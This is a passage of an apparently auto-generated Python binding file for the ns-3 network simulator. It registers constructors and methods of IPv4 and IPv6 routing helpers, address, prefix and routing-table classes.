[param('ns3::Ptr< ns3::Node >', 'n'), param('ns3::Ipv4Address', 'source'), param('ns3::Ipv4Address', 'group'), param('std::string', 'inputName'), param('ns3::NetDeviceContainer', 'output')])
## ipv4-static-routing-helper.h (module 'internet'): void ns3::Ipv4StaticRoutingHelper::AddMulticastRoute(std::string nName, ns3::Ipv4Address source, ns3::Ipv4Address group, std::string inputName, ns3::NetDeviceContainer output) [member function]
cls.add_method('AddMulticastRoute',
'void',
[param('std::string', 'nName'), param('ns3::Ipv4Address', 'source'), param('ns3::Ipv4Address', 'group'), param('std::string', 'inputName'), param('ns3::NetDeviceContainer', 'output')])
## ipv4-static-routing-helper.h (module 'internet'): void ns3::Ipv4StaticRoutingHelper::SetDefaultMulticastRoute(ns3::Ptr<ns3::Node> n, ns3::Ptr<ns3::NetDevice> nd) [member function]
cls.add_method('SetDefaultMulticastRoute',
'void',
[param('ns3::Ptr< ns3::Node >', 'n'), param('ns3::Ptr< ns3::NetDevice >', 'nd')])
## ipv4-static-routing-helper.h (module 'internet'): void ns3::Ipv4StaticRoutingHelper::SetDefaultMulticastRoute(ns3::Ptr<ns3::Node> n, std::string ndName) [member function]
cls.add_method('SetDefaultMulticastRoute',
'void',
[param('ns3::Ptr< ns3::Node >', 'n'), param('std::string', 'ndName')])
## ipv4-static-routing-helper.h (module 'internet'): void ns3::Ipv4StaticRoutingHelper::SetDefaultMulticastRoute(std::string nName, ns3::Ptr<ns3::NetDevice> nd) [member function]
cls.add_method('SetDefaultMulticastRoute',
'void',
[param('std::string', 'nName'), param('ns3::Ptr< ns3::NetDevice >', 'nd')])
## ipv4-static-routing-helper.h (module 'internet'): void ns3::Ipv4StaticRoutingHelper::SetDefaultMulticastRoute(std::string nName, std::string ndName) [member function]
cls.add_method('SetDefaultMulticastRoute',
'void',
[param('std::string', 'nName'), param('std::string', 'ndName')])
return
def register_Ns3Ipv6Address_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('<')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address() [constructor]
cls.add_constructor([])
## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(char const * address) [constructor]
cls.add_constructor([param('char const *', 'address')])
## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(uint8_t * address) [constructor]
cls.add_constructor([param('uint8_t *', 'address')])
## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(ns3::Ipv6Address const & addr) [copy constructor]
cls.add_constructor([param('ns3::Ipv6Address const &', 'addr')])
## ipv6-address.h (module 'network'): ns3::Ipv6Address::Ipv6Address(ns3::Ipv6Address const * addr) [constructor]
cls.add_constructor([param('ns3::Ipv6Address const *', 'addr')])
## ipv6-address.h (module 'network'): ns3::Ipv6Address ns3::Ipv6Address::CombinePrefix(ns3::Ipv6Prefix const & prefix) [member function]
cls.add_method('CombinePrefix',
'ns3::Ipv6Address',
[param('ns3::Ipv6Prefix const &', 'prefix')])
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::ConvertFrom(ns3::Address const & address) [member function]
cls.add_method('ConvertFrom',
'ns3::Ipv6Address',
[param('ns3::Address const &', 'address')],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::Deserialize(uint8_t const * buf) [member function]
cls.add_method('Deserialize',
'ns3::Ipv6Address',
[param('uint8_t const *', 'buf')],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllHostsMulticast() [member function]
cls.add_method('GetAllHostsMulticast',
'ns3::Ipv6Address',
[],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllNodesMulticast() [member function]
cls.add_method('GetAllNodesMulticast',
'ns3::Ipv6Address',
[],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAllRoutersMulticast() [member function]
cls.add_method('GetAllRoutersMulticast',
'ns3::Ipv6Address',
[],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetAny() [member function]
cls.add_method('GetAny',
'ns3::Ipv6Address',
[],
is_static=True)
## ipv6-address.h (module 'network'): void ns3::Ipv6Address::GetBytes(uint8_t * buf) const [member function]
cls.add_method('GetBytes',
'void',
[param('uint8_t *', 'buf')],
is_const=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetLoopback() [member function]
cls.add_method('GetLoopback',
'ns3::Ipv6Address',
[],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetOnes() [member function]
cls.add_method('GetOnes',
'ns3::Ipv6Address',
[],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::GetZero() [member function]
cls.add_method('GetZero',
'ns3::Ipv6Address',
[],
is_static=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllHostsMulticast() const [member function]
cls.add_method('IsAllHostsMulticast',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllNodesMulticast() const [member function]
cls.add_method('IsAllNodesMulticast',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAllRoutersMulticast() const [member function]
cls.add_method('IsAllRoutersMulticast',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsAny() const [member function]
cls.add_method('IsAny',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsEqual(ns3::Ipv6Address const & other) const [member function]
cls.add_method('IsEqual',
'bool',
[param('ns3::Ipv6Address const &', 'other')],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsLinkLocal() const [member function]
cls.add_method('IsLinkLocal',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsLocalhost() const [member function]
cls.add_method('IsLocalhost',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): static bool ns3::Ipv6Address::IsMatchingType(ns3::Address const & address) [member function]
cls.add_method('IsMatchingType',
'bool',
[param('ns3::Address const &', 'address')],
is_static=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsMulticast() const [member function]
cls.add_method('IsMulticast',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Address::IsSolicitedMulticast() const [member function]
cls.add_method('IsSolicitedMulticast',
'bool',
[],
is_const=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredAddress(ns3::Mac48Address addr, ns3::Ipv6Address prefix) [member function]
cls.add_method('MakeAutoconfiguredAddress',
'ns3::Ipv6Address',
[param('ns3::Mac48Address', 'addr'), param('ns3::Ipv6Address', 'prefix')],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeAutoconfiguredLinkLocalAddress(ns3::Mac48Address mac) [member function]
cls.add_method('MakeAutoconfiguredLinkLocalAddress',
'ns3::Ipv6Address',
[param('ns3::Mac48Address', 'mac')],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Address ns3::Ipv6Address::MakeSolicitedAddress(ns3::Ipv6Address addr) [member function]
cls.add_method('MakeSolicitedAddress',
'ns3::Ipv6Address',
[param('ns3::Ipv6Address', 'addr')],
is_static=True)
## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Serialize(uint8_t * buf) const [member function]
cls.add_method('Serialize',
'void',
[param('uint8_t *', 'buf')],
is_const=True)
## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Set(char const * address) [member function]
cls.add_method('Set',
'void',
[param('char const *', 'address')])
## ipv6-address.h (module 'network'): void ns3::Ipv6Address::Set(uint8_t * address) [member function]
cls.add_method('Set',
'void',
[param('uint8_t *', 'address')])
return
def register_Ns3Ipv6AddressHelper_methods(root_module, cls):
## ipv6-address-helper.h (module 'internet'): ns3::Ipv6AddressHelper::Ipv6AddressHelper(ns3::Ipv6AddressHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6AddressHelper const &', 'arg0')])
## ipv6-address-helper.h (module 'internet'): ns3::Ipv6AddressHelper::Ipv6AddressHelper() [constructor]
cls.add_constructor([])
## ipv6-address-helper.h (module 'internet'): ns3::Ipv6InterfaceContainer ns3::Ipv6AddressHelper::Assign(ns3::NetDeviceContainer const & c) [member function]
cls.add_method('Assign',
'ns3::Ipv6InterfaceContainer',
[param('ns3::NetDeviceContainer const &', 'c')])
## ipv6-address-helper.h (module 'internet'): ns3::Ipv6InterfaceContainer ns3::Ipv6AddressHelper::Assign(ns3::NetDeviceContainer const & c, std::vector<bool,std::allocator<bool> > withConfiguration) [member function]
cls.add_method('Assign',
'ns3::Ipv6InterfaceContainer',
[param('ns3::NetDeviceContainer const &', 'c'), param('std::vector< bool >', 'withConfiguration')])
## ipv6-address-helper.h (module 'internet'): ns3::Ipv6InterfaceContainer ns3::Ipv6AddressHelper::AssignWithoutAddress(ns3::NetDeviceContainer const & c) [member function]
cls.add_method('AssignWithoutAddress',
'ns3::Ipv6InterfaceContainer',
[param('ns3::NetDeviceContainer const &', 'c')])
## ipv6-address-helper.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6AddressHelper::NewAddress(ns3::Address addr) [member function]
cls.add_method('NewAddress',
'ns3::Ipv6Address',
[param('ns3::Address', 'addr')])
## ipv6-address-helper.h (module 'internet'): void ns3::Ipv6AddressHelper::NewNetwork(ns3::Ipv6Address network, ns3::Ipv6Prefix prefix) [member function]
cls.add_method('NewNetwork',
'void',
[param('ns3::Ipv6Address', 'network'), param('ns3::Ipv6Prefix', 'prefix')])
return
def register_Ns3Ipv6InterfaceAddress_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::Ipv6InterfaceAddress() [constructor]
cls.add_constructor([])
## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::Ipv6InterfaceAddress(ns3::Ipv6Address address) [constructor]
cls.add_constructor([param('ns3::Ipv6Address', 'address')])
## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::Ipv6InterfaceAddress(ns3::Ipv6Address address, ns3::Ipv6Prefix prefix) [constructor]
cls.add_constructor([param('ns3::Ipv6Address', 'address'), param('ns3::Ipv6Prefix', 'prefix')])
## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::Ipv6InterfaceAddress(ns3::Ipv6InterfaceAddress const & o) [copy constructor]
cls.add_constructor([param('ns3::Ipv6InterfaceAddress const &', 'o')])
## ipv6-interface-address.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6InterfaceAddress::GetAddress() const [member function]
cls.add_method('GetAddress',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-interface-address.h (module 'internet'): uint32_t ns3::Ipv6InterfaceAddress::GetNsDadUid() const [member function]
cls.add_method('GetNsDadUid',
'uint32_t',
[],
is_const=True)
## ipv6-interface-address.h (module 'internet'): ns3::Ipv6Prefix ns3::Ipv6InterfaceAddress::GetPrefix() const [member function]
cls.add_method('GetPrefix',
'ns3::Ipv6Prefix',
[],
is_const=True)
## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::Scope_e ns3::Ipv6InterfaceAddress::GetScope() const [member function]
cls.add_method('GetScope',
'ns3::Ipv6InterfaceAddress::Scope_e',
[],
is_const=True)
## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::State_e ns3::Ipv6InterfaceAddress::GetState() const [member function]
cls.add_method('GetState',
'ns3::Ipv6InterfaceAddress::State_e',
[],
is_const=True)
## ipv6-interface-address.h (module 'internet'): void ns3::Ipv6InterfaceAddress::SetAddress(ns3::Ipv6Address address) [member function]
cls.add_method('SetAddress',
'void',
[param('ns3::Ipv6Address', 'address')])
## ipv6-interface-address.h (module 'internet'): void ns3::Ipv6InterfaceAddress::SetNsDadUid(uint32_t uid) [member function]
cls.add_method('SetNsDadUid',
'void',
[param('uint32_t', 'uid')])
## ipv6-interface-address.h (module 'internet'): void ns3::Ipv6InterfaceAddress::SetScope(ns3::Ipv6InterfaceAddress::Scope_e scope) [member function]
cls.add_method('SetScope',
'void',
[param('ns3::Ipv6InterfaceAddress::Scope_e', 'scope')])
## ipv6-interface-address.h (module 'internet'): void ns3::Ipv6InterfaceAddress::SetState(ns3::Ipv6InterfaceAddress::State_e state) [member function]
cls.add_method('SetState',
'void',
[param('ns3::Ipv6InterfaceAddress::State_e', 'state')])
return
def register_Ns3Ipv6InterfaceContainer_methods(root_module, cls):
## ipv6-interface-container.h (module 'internet'): ns3::Ipv6InterfaceContainer::Ipv6InterfaceContainer(ns3::Ipv6InterfaceContainer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6InterfaceContainer const &', 'arg0')])
## ipv6-interface-container.h (module 'internet'): ns3::Ipv6InterfaceContainer::Ipv6InterfaceContainer() [constructor]
cls.add_constructor([])
## ipv6-interface-container.h (module 'internet'): void ns3::Ipv6InterfaceContainer::Add(ns3::Ptr<ns3::Ipv6> ipv6, uint32_t interface) [member function]
cls.add_method('Add',
'void',
[param('ns3::Ptr< ns3::Ipv6 >', 'ipv6'), param('uint32_t', 'interface')])
## ipv6-interface-container.h (module 'internet'): void ns3::Ipv6InterfaceContainer::Add(ns3::Ipv6InterfaceContainer & c) [member function]
cls.add_method('Add',
'void',
[param('ns3::Ipv6InterfaceContainer &', 'c')])
## ipv6-interface-container.h (module 'internet'): void ns3::Ipv6InterfaceContainer::Add(std::string ipv6Name, uint32_t interface) [member function]
cls.add_method('Add',
'void',
[param('std::string', 'ipv6Name'), param('uint32_t', 'interface')])
## ipv6-interface-container.h (module 'internet'): __gnu_cxx::__normal_iterator<const std::pair<ns3::Ptr<ns3::Ipv6>, unsigned int>*,std::vector<std::pair<ns3::Ptr<ns3::Ipv6>, unsigned int>, std::allocator<std::pair<ns3::Ptr<ns3::Ipv6>, unsigned int> > > > ns3::Ipv6InterfaceContainer::Begin() const [member function]
cls.add_method('Begin',
'__gnu_cxx::__normal_iterator< std::pair< ns3::Ptr< ns3::Ipv6 >, unsigned int > const, std::vector< std::pair< ns3::Ptr< ns3::Ipv6 >, unsigned int > > >',
[],
is_const=True)
## ipv6-interface-container.h (module 'internet'): __gnu_cxx::__normal_iterator<const std::pair<ns3::Ptr<ns3::Ipv6>, unsigned int>*,std::vector<std::pair<ns3::Ptr<ns3::Ipv6>, unsigned int>, std::allocator<std::pair<ns3::Ptr<ns3::Ipv6>, unsigned int> > > > ns3::Ipv6InterfaceContainer::End() const [member function]
cls.add_method('End',
'__gnu_cxx::__normal_iterator< std::pair< ns3::Ptr< ns3::Ipv6 >, unsigned int > const, std::vector< std::pair< ns3::Ptr< ns3::Ipv6 >, unsigned int > > >',
[],
is_const=True)
## ipv6-interface-container.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6InterfaceContainer::GetAddress(uint32_t i, uint32_t j) const [member function]
cls.add_method('GetAddress',
'ns3::Ipv6Address',
[param('uint32_t', 'i'), param('uint32_t', 'j')],
is_const=True)
## ipv6-interface-container.h (module 'internet'): uint32_t ns3::Ipv6InterfaceContainer::GetInterfaceIndex(uint32_t i) const [member function]
cls.add_method('GetInterfaceIndex',
'uint32_t',
[param('uint32_t', 'i')],
is_const=True)
## ipv6-interface-container.h (module 'internet'): uint32_t ns3::Ipv6InterfaceContainer::GetN() const [member function]
cls.add_method('GetN',
'uint32_t',
[],
is_const=True)
## ipv6-interface-container.h (module 'internet'): void ns3::Ipv6InterfaceContainer::SetDefaultRoute(uint32_t i, uint32_t router) [member function]
cls.add_method('SetDefaultRoute',
'void',
[param('uint32_t', 'i'), param('uint32_t', 'router')])
## ipv6-interface-container.h (module 'internet'): void ns3::Ipv6InterfaceContainer::SetRouter(uint32_t i, bool router) [member function]
cls.add_method('SetRouter',
'void',
[param('uint32_t', 'i'), param('bool', 'router')])
return
def register_Ns3Ipv6MulticastRoutingTableEntry_methods(root_module, cls):
cls.add_output_stream_operator()
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6MulticastRoutingTableEntry::Ipv6MulticastRoutingTableEntry() [constructor]
cls.add_constructor([])
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6MulticastRoutingTableEntry::Ipv6MulticastRoutingTableEntry(ns3::Ipv6MulticastRoutingTableEntry const & route) [copy constructor]
cls.add_constructor([param('ns3::Ipv6MulticastRoutingTableEntry const &', 'route')])
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6MulticastRoutingTableEntry::Ipv6MulticastRoutingTableEntry(ns3::Ipv6MulticastRoutingTableEntry const * route) [constructor]
cls.add_constructor([param('ns3::Ipv6MulticastRoutingTableEntry const *', 'route')])
## ipv6-routing-table-entry.h (module 'internet'): static ns3::Ipv6MulticastRoutingTableEntry ns3::Ipv6MulticastRoutingTableEntry::CreateMulticastRoute(ns3::Ipv6Address origin, ns3::Ipv6Address group, uint32_t inputInterface, std::vector<unsigned int, std::allocator<unsigned int> > outputInterfaces) [member function]
cls.add_method('CreateMulticastRoute',
'ns3::Ipv6MulticastRoutingTableEntry',
[param('ns3::Ipv6Address', 'origin'), param('ns3::Ipv6Address', 'group'), param('uint32_t', 'inputInterface'), param('std::vector< unsigned int >', 'outputInterfaces')],
is_static=True)
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6MulticastRoutingTableEntry::GetGroup() const [member function]
cls.add_method('GetGroup',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): uint32_t ns3::Ipv6MulticastRoutingTableEntry::GetInputInterface() const [member function]
cls.add_method('GetInputInterface',
'uint32_t',
[],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): uint32_t ns3::Ipv6MulticastRoutingTableEntry::GetNOutputInterfaces() const [member function]
cls.add_method('GetNOutputInterfaces',
'uint32_t',
[],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6MulticastRoutingTableEntry::GetOrigin() const [member function]
cls.add_method('GetOrigin',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): uint32_t ns3::Ipv6MulticastRoutingTableEntry::GetOutputInterface(uint32_t n) const [member function]
cls.add_method('GetOutputInterface',
'uint32_t',
[param('uint32_t', 'n')],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): std::vector<unsigned int, std::allocator<unsigned int> > ns3::Ipv6MulticastRoutingTableEntry::GetOutputInterfaces() const [member function]
cls.add_method('GetOutputInterfaces',
'std::vector< unsigned int >',
[],
is_const=True)
return
def register_Ns3Ipv6Prefix_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix() [constructor]
cls.add_constructor([])
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(uint8_t * prefix) [constructor]
cls.add_constructor([param('uint8_t *', 'prefix')])
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(char const * prefix) [constructor]
cls.add_constructor([param('char const *', 'prefix')])
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(uint8_t prefix) [constructor]
cls.add_constructor([param('uint8_t', 'prefix')])
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(ns3::Ipv6Prefix const & prefix) [copy constructor]
cls.add_constructor([param('ns3::Ipv6Prefix const &', 'prefix')])
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(ns3::Ipv6Prefix const * prefix) [constructor]
cls.add_constructor([param('ns3::Ipv6Prefix const *', 'prefix')])
## ipv6-address.h (module 'network'): void ns3::Ipv6Prefix::GetBytes(uint8_t * buf) const [member function]
cls.add_method('GetBytes',
'void',
[param('uint8_t *', 'buf')],
is_const=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetLoopback() [member function]
cls.add_method('GetLoopback',
'ns3::Ipv6Prefix',
[],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetOnes() [member function]
cls.add_method('GetOnes',
'ns3::Ipv6Prefix',
[],
is_static=True)
## ipv6-address.h (module 'network'): uint8_t ns3::Ipv6Prefix::GetPrefixLength() const [member function]
cls.add_method('GetPrefixLength',
'uint8_t',
[],
is_const=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetZero() [member function]
cls.add_method('GetZero',
'ns3::Ipv6Prefix',
[],
is_static=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Prefix::IsEqual(ns3::Ipv6Prefix const & other) const [member function]
cls.add_method('IsEqual',
'bool',
[param('ns3::Ipv6Prefix const &', 'other')],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Prefix::IsMatch(ns3::Ipv6Address a, ns3::Ipv6Address b) const [member function]
cls.add_method('IsMatch',
'bool',
[param('ns3::Ipv6Address', 'a'), param('ns3::Ipv6Address', 'b')],
is_const=True)
## ipv6-address.h (module 'network'): void ns3::Ipv6Prefix::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
return
def register_Ns3Ipv6RoutingHelper_methods(root_module, cls):
## ipv6-routing-helper.h (module 'internet'): ns3::Ipv6RoutingHelper::Ipv6RoutingHelper() [constructor]
cls.add_constructor([])
## ipv6-routing-helper.h (module 'internet'): ns3::Ipv6RoutingHelper::Ipv6RoutingHelper(ns3::Ipv6RoutingHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6RoutingHelper const &', 'arg0')])
## ipv6-routing-helper.h (module 'internet'): ns3::Ipv6RoutingHelper * ns3::Ipv6RoutingHelper::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ipv6RoutingHelper *',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv6-routing-helper.h (module 'internet'): ns3::Ptr<ns3::Ipv6RoutingProtocol> ns3::Ipv6RoutingHelper::Create(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Create',
'ns3::Ptr< ns3::Ipv6RoutingProtocol >',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3Ipv6RoutingTableEntry_methods(root_module, cls):
cls.add_output_stream_operator()
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6RoutingTableEntry::Ipv6RoutingTableEntry() [constructor]
cls.add_constructor([])
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6RoutingTableEntry::Ipv6RoutingTableEntry(ns3::Ipv6RoutingTableEntry const & route) [copy constructor]
cls.add_constructor([param('ns3::Ipv6RoutingTableEntry const &', 'route')])
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6RoutingTableEntry::Ipv6RoutingTableEntry(ns3::Ipv6RoutingTableEntry const * route) [constructor]
cls.add_constructor([param('ns3::Ipv6RoutingTableEntry const *', 'route')])
## ipv6-routing-table-entry.h (module 'internet'): static ns3::Ipv6RoutingTableEntry ns3::Ipv6RoutingTableEntry::CreateDefaultRoute(ns3::Ipv6Address nextHop, uint32_t interface) [member function]
cls.add_method('CreateDefaultRoute',
'ns3::Ipv6RoutingTableEntry',
[param('ns3::Ipv6Address', 'nextHop'), param('uint32_t', 'interface')],
is_static=True)
## ipv6-routing-table-entry.h (module 'internet'): static ns3::Ipv6RoutingTableEntry ns3::Ipv6RoutingTableEntry::CreateHostRouteTo(ns3::Ipv6Address dest, ns3::Ipv6Address nextHop, uint32_t interface, ns3::Ipv6Address prefixToUse=ns3::Ipv6Address()) [member function]
cls.add_method('CreateHostRouteTo',
'ns3::Ipv6RoutingTableEntry',
[param('ns3::Ipv6Address', 'dest'), param('ns3::Ipv6Address', 'nextHop'), param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'prefixToUse', default_value='ns3::Ipv6Address()')],
is_static=True)
## ipv6-routing-table-entry.h (module 'internet'): static ns3::Ipv6RoutingTableEntry ns3::Ipv6RoutingTableEntry::CreateHostRouteTo(ns3::Ipv6Address dest, uint32_t interface) [member function]
cls.add_method('CreateHostRouteTo',
'ns3::Ipv6RoutingTableEntry',
[param('ns3::Ipv6Address', 'dest'), param('uint32_t', 'interface')],
is_static=True)
## ipv6-routing-table-entry.h (module 'internet'): static ns3::Ipv6RoutingTableEntry ns3::Ipv6RoutingTableEntry::CreateNetworkRouteTo(ns3::Ipv6Address network, ns3::Ipv6Prefix networkPrefix, ns3::Ipv6Address nextHop, uint32_t interface) [member function]
cls.add_method('CreateNetworkRouteTo',
'ns3::Ipv6RoutingTableEntry',
[param('ns3::Ipv6Address', 'network'), param('ns3::Ipv6Prefix', 'networkPrefix'), param('ns3::Ipv6Address', 'nextHop'), param('uint32_t', 'interface')],
is_static=True)
## ipv6-routing-table-entry.h (module 'internet'): static ns3::Ipv6RoutingTableEntry ns3::Ipv6RoutingTableEntry::CreateNetworkRouteTo(ns3::Ipv6Address network, ns3::Ipv6Prefix networkPrefix, ns3::Ipv6Address nextHop, uint32_t interface, ns3::Ipv6Address prefixToUse) [member function]
cls.add_method('CreateNetworkRouteTo',
'ns3::Ipv6RoutingTableEntry',
[param('ns3::Ipv6Address', 'network'), param('ns3::Ipv6Prefix', 'networkPrefix'), param('ns3::Ipv6Address', 'nextHop'), param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'prefixToUse')],
is_static=True)
## ipv6-routing-table-entry.h (module 'internet'): static ns3::Ipv6RoutingTableEntry ns3::Ipv6RoutingTableEntry::CreateNetworkRouteTo(ns3::Ipv6Address network, ns3::Ipv6Prefix networkPrefix, uint32_t interface) [member function]
cls.add_method('CreateNetworkRouteTo',
'ns3::Ipv6RoutingTableEntry',
[param('ns3::Ipv6Address', 'network'), param('ns3::Ipv6Prefix', 'networkPrefix'), param('uint32_t', 'interface')],
is_static=True)
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6RoutingTableEntry::GetDest() const [member function]
cls.add_method('GetDest',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6RoutingTableEntry::GetDestNetwork() const [member function]
cls.add_method('GetDestNetwork',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6Prefix ns3::Ipv6RoutingTableEntry::GetDestNetworkPrefix() const [member function]
cls.add_method('GetDestNetworkPrefix',
'ns3::Ipv6Prefix',
[],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6RoutingTableEntry::GetGateway() const [member function]
cls.add_method('GetGateway',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): uint32_t ns3::Ipv6RoutingTableEntry::GetInterface() const [member function]
cls.add_method('GetInterface',
'uint32_t',
[],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6RoutingTableEntry::GetPrefixToUse() const [member function]
cls.add_method('GetPrefixToUse',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): bool ns3::Ipv6RoutingTableEntry::IsDefault() const [member function]
cls.add_method('IsDefault',
'bool',
[],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): bool ns3::Ipv6RoutingTableEntry::IsGateway() const [member function]
cls.add_method('IsGateway',
'bool',
[],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): bool ns3::Ipv6RoutingTableEntry::IsHost() const [member function]
cls.add_method('IsHost',
'bool',
[],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): bool ns3::Ipv6RoutingTableEntry::IsNetwork() const [member function]
cls.add_method('IsNetwork',
'bool',
[],
is_const=True)
## ipv6-routing-table-entry.h (module 'internet'): void ns3::Ipv6RoutingTableEntry::SetPrefixToUse(ns3::Ipv6Address prefix) [member function]
cls.add_method('SetPrefixToUse',
'void',
[param('ns3::Ipv6Address', 'prefix')])
return
def register_Ns3Ipv6StaticRoutingHelper_methods(root_module, cls):
## ipv6-static-routing-helper.h (module 'internet'): ns3::Ipv6StaticRoutingHelper::Ipv6StaticRoutingHelper() [constructor]
cls.add_constructor([])
## ipv6-static-routing-helper.h (module 'internet'): ns3::Ipv6StaticRoutingHelper::Ipv6StaticRoutingHelper(ns3::Ipv6StaticRoutingHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6StaticRoutingHelper const &', 'arg0')])
## ipv6-static-routing-helper.h (module 'internet'): ns3::Ipv6StaticRoutingHelper * ns3::Ipv6StaticRoutingHelper::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ipv6StaticRoutingHelper *',
[],
is_const=True, is_virtual=True)
## ipv6-static-routing-helper.h (module 'internet'): ns3::Ptr<ns3::Ipv6RoutingProtocol> ns3::Ipv6StaticRoutingHelper::Create(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Create',
